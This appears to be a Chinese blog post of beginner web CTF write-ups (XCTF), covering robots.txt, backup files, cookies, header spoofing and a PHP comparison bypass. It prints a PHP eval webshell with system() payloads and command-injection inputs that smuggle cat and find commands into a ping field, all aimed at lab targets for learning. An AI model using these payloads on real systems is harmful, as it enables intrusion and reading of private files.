xctf在线场景以使用了,一直想写web题来着

001 view_scoure

  • X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

解: 查看网站源码,注释里有 flag

002 robots

  • X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

解: 在网站根目录下输入 robots.txt即可找到 flag

  • 知识点

    • robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
    • dirsearch.py

      How to use

      项目地址 github

      亲测不能用也( 提示 ModuleNotFoundError: No module named 'cryptography')

      在kali下使用python命令就是调用的python2,使用python3命令就是调用的python3,很方便,但是window环境可不一样,没有python3命令,只有python命令,调用的是python2,可以直接给python.exe 改名为 python3.exe即可

      pip.exe 在 python 目录下的 Scripts 下载的模块在 Lib site-packges
    • Recursive 递归的

003 backup

  • X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

输入 index.php.bak

官方给的操作还是用 dirsearch.py 查看了.....

  • 知识点

    常见的备份文件后缀名有:

    01 .git

    02 .svn

    03 .swp

    04 .svn

    05 .~

    06 .bak

    07 .bash_history

004 cookie

  • X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

解: F12进入后,点击 Application, 左侧有 cookie,出现 look-here(cookie.php)

  • 知识点

    • Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理
    • 有同志使用burpsuit做的解,但咱这burpsuit老提示 Oracle jre没测试过,不可以使用....

005 disabled_button

  • X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

解: 将disabled=""删除后,按钮可按,按下后得到flag

006 weak——auth

  • 小宁写了一个登陆验证页面,随手就设了一个密码

解: admin 123456

又是burpsuit

007 simplePHP

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

110.110.110.110/?a=0&b=1235a

008 GET&POST

HackBar:POST

hackBar 2.1.3 githb/HCTYMFF

hackbar收费了,这里是一个2.1.3的版本,在github上下载 zip包解压,在firefox中从文件中添加组件{}.xpi即可,关闭自动更新,打开方式是调试台,

009 xff_referer

  • X老师告诉小宁其实xff和referer是可以伪造的。

解:

  1. 打开firefox和burp,使用burp对firefox进行代理拦截,在请求头添加X-Forwarded-For: 123.123.123.123,然后放包,用 burp Rpeater重发request包即可。(这里不论怎么发,Firefox的浏览页面也没有变过),但是靶机确实返回了对应的 Reponse。
  2. Referer: https://www.google.com(请求头里添加)

另解

用火狐的 F12->网络->请求头->编辑和重发(添加对应的那两个头即可)

另解问题

但只有第一个 XFF 起了作用,第二个服务器回包没有变化。

  • 知识点

    • X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
    • HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
    • http教程

010 webshell

  • 小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
<?php @eval($_POST['shell']);?>

用post方法接收变量shell,把变量shell里面的字符串当做php代码来执行。 变量shell也称为密码

所以,只要我们能通过post 方法,以 shell为变量名,值为执行代码就可以直接通过post 来操作对方的网站,菜刀也是通过这样的方法,不过他传入的代码比较复杂。

解:

  1. 菜刀直接连接,可以看到对方的网站目录结构,找打 flag.txt
  2. 另解(hackBar burp) 传递post请求

    shell=system("grep -r cyberpeace ./");

    shell=system("find ./ -name flag -exec cat {} ;|grep 'cyberpeace'");

011 command_execution

  • 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

    解:

    127.0.0.1 |find / -name "*.txt";

找.txt后缀的文件,发现 /home/flag.txt

127.0.0.1|cat /home/flag.txt ;

其他想法:

直接输入 | ls /home 也可以,即找一找home 目录下有什么

  • 知识点

    windows 或 linux 下:

    command1 && command2 先执行 command1,如果为真,再执行 command2

    command1 | command2 只执行 command2

    command1 & command2 先执行 command2 后执行 command1

    command1 || command2 先执行 command1,如果为假,再执行 command2

    命令执行漏洞(| || & && 称为 管道符)

12 simple_js

  • 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password');
alert( dechiffre(h) ); </script>

这东西考的代码审计,难搞的很。

解出这16进制代码

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

工具

解:

  1. 16进制转文本,复制文本(全部复制,粘贴自动会转化成全部数字)
  2. 数字转ANSII码,用python 即可。

WEB 新手篇的更多相关文章

  1. 漫谈程序员(十一)老鸟程序员知道而新手不知道的小技巧之Web 前端篇

    老鸟程序员知道而新手不知道的小技巧 Web 前端篇 常充电!程序员只有一种死法:土死的. 函数不要超过50行. 不要一次性写太多来不及测的代码,而是要写一段调试一段. UI和编码要同步做. 多写注释方 ...

  2. PHP求职宝典系列——PHP Web 编程篇

    PHP Web 编程篇 form表单 1.简述 POST 和 GET 传输的最大容量分别是多少? GET 方法提交的表单数据被附加到 URL 上,并作为URL 的一部分发送到服务器端. URL 的长度 ...

  3. 我所理解的RESTful Web API [Web标准篇]

    REST不是一个标准,而是一种软件应用架构风格.基于SOAP的Web服务采用RPC架构,如果说RPC是一种面向操作的架构风格,而REST则是一种面向资源的架构风格.REST是目前业界更为推崇的构建新一 ...

  4. 使用ML.NET实现情感分析[新手篇]后补

    在<使用ML.NET实现情感分析[新手篇]>完成后,有热心的朋友建议说,为何例子不用中文的呢,其实大家是需要知道怎么预处理中文的数据集的.想想确实有道理,于是略微调整一些代码,权作示范. ...

  5. WEB新手之签到题

    写一写web新手赛的题. 这是签到题,开始时需要耐心等待页面中字母全部出现. 字母全部出现后,会跳转到另一个界面,如上图所示.F12没什么特别的地方,这题应该有点难度. 按往常一样,先抓包. 按英文提 ...

  6. 《黑客攻防技术宝典Web实战篇@第2版》读书笔记1:了解Web应用程序

    读书笔记第一部分对应原书的第一章,主要介绍了Web应用程序的发展,功能,安全状况. Web应用程序的发展历程 早期的万维网仅由Web站点构成,只是包含静态文档的信息库,随后人们发明了Web浏览器用来检 ...

  7. web前端篇:CSS使用,样式表特征,选择器

    目录 web前端篇:CSS使用,样式表特征,选择器 1.CSS介绍 2.CSS使用 3.样式表特征 4.CSS选择器 5.选择器的优先级 6.练习题: web前端篇:CSS使用,样式表特征,选择器 1 ...

  8. Web前端篇:CSS常用格式化排版、盒模型、浮动、定位、背景边框属性

    目录 Web前端篇:CSS常用格式化排版.盒模型.浮动.定位.背景边框属性 1.常用格式化排版 2.CSS盒模型 3.浮动 4.定位 5.背景属性和边框属性 6.网页中规范和错误问题 7.显示方式 W ...

  9. 黑客攻防技术宝典web实战篇:核心防御机制习题

    猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 黑客攻防技术宝典web实战篇是一本非常不错的书,它的著作人之一是burpsuite的作者,课后的习题值得关注 ...

  10. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

随机推荐

  1. baselines中环境包装器EpisodicLifeEnv的分析

    如题: class EpisodicLifeEnv(gym.Wrapper): def __init__(self, env): """Make end-of-life ...

  2. 小程序报错 .wxss 无法找到

    转子:http://blog.csdn.net/u012329294/article/details/78610593

  3. Fiddler远程调试js

    使用Fiddler调试本地js 在我们前端开发的日常工作中,发现服务器上某个css/javascript文件有问题,需要修改,那真是家常便饭.通常,我们需要将文件进行修改,然后重新发布再验证,这样就很 ...

  4. 我是如何使用 vue2+element-ui 处理负责表单,避免单文件过大的问题

    引言 在工作中我经常需要处理一些复杂.动态表单,但是随着需求不断迭代,我们也许会发现曾经两三百行的.vue文件现在不知不觉到了两千行,三千行,甚至更多... 这对于一个需要长期维护的项目,无疑是增加了 ...

  5. 如何arm入门

    因为有些需求[原因在文末],需要拍一张正装照. 我已经受够了那些小摄像馆拍的照片了, 完全拍不出我的神韵! 效果还不如我手机开个美颜! 生活问题,有时候问邻居效率很高! 在小区群里,问了一下邻居! 立 ...

  6. 编译器实现之旅——第十六章 代码装载、链接器、全局变量与main函数

    在上一章的旅程中,我们已经实现了函数调用的代码生成器分派函数,但在上一章的末尾,我们留下了三个问题: 我们需要为全局变量压栈 main函数需要在程序启动时被自动调用 我们需要实现一个链接器,以将所有的 ...

  7. Mongodb入门3

    company数据库下面heros集合里的数据: { "_id" : ObjectId("6100c897d0c9f4158c2b0c9b"), "n ...

  8. vue+webpack工程中怎样在vue页面中引入第三方非标准的JS库或者方法

    方法一:异步加载第三方库 在我们的vue工程中新建如下路径:src/utils/index.js,在index.js中实现如下方法: export function loadScript(url) { ...

  9. Identity – Options

    前言 上一篇已经有写到一些配置了, 但不完整, 这里专门写一篇吧. 防暴力登入 services.Configure<IdentityOptions>(options => { // ...

  10. Naive UI 2.38.1

    https://www.naiveui.com/zh-CN/os-theme/docs/i18n 配置字体 Naive UI 可以和 vfonts 配合,你可以简单的引入 vfonts 中的字体,包含 ...